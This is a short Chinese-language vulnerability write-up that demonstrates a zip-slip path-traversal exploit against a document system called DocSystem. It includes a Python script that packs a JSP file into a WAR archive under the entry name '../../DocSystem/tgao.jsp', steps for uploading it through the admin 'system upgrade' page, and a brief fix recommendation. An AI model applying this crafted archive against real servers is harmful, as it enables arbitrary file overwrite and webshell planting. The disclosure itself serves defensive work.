制作恶意压缩包
tgao.jsp文件内容:
<html>
<body>
<%
out.println("zip slip getshell.");
%>
</body>
</html>
编写python脚本将jsp文件内容内容压缩至DocSystem.war中,并指定name为../../DocSystem/tgao.jsp
,此值对应源码中的entry.getName()内容
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("DocSystem.war", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("DocSystem.war")
zipFile.write("D:/tgao/pass/tgao.jsp", "../../DocSystem/tgao.jsp", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.close()
except IOError as e:
raise e
运行之后生成DocSystem.war文件
漏洞利用
利用压缩包上传点可以向服务器中任何有写权限的目录写任何文件,若文件存在将会直接覆盖,这里为了有直接的效果,演示向web目录写入jsp文件,具体如下:
使用admin/admin123登录系统后访问:
http://localhost:8080/DocSystem/manager/main.html
点击系统升级,上传制作完成的恶意压缩文件DocSystem.war
点击确认即可.
访问:http://localhost:8080/DocSystem/tgao.jsp
tgao.jsp成功被写入。
修复建议
检查entry.getName()是否存在../并拦截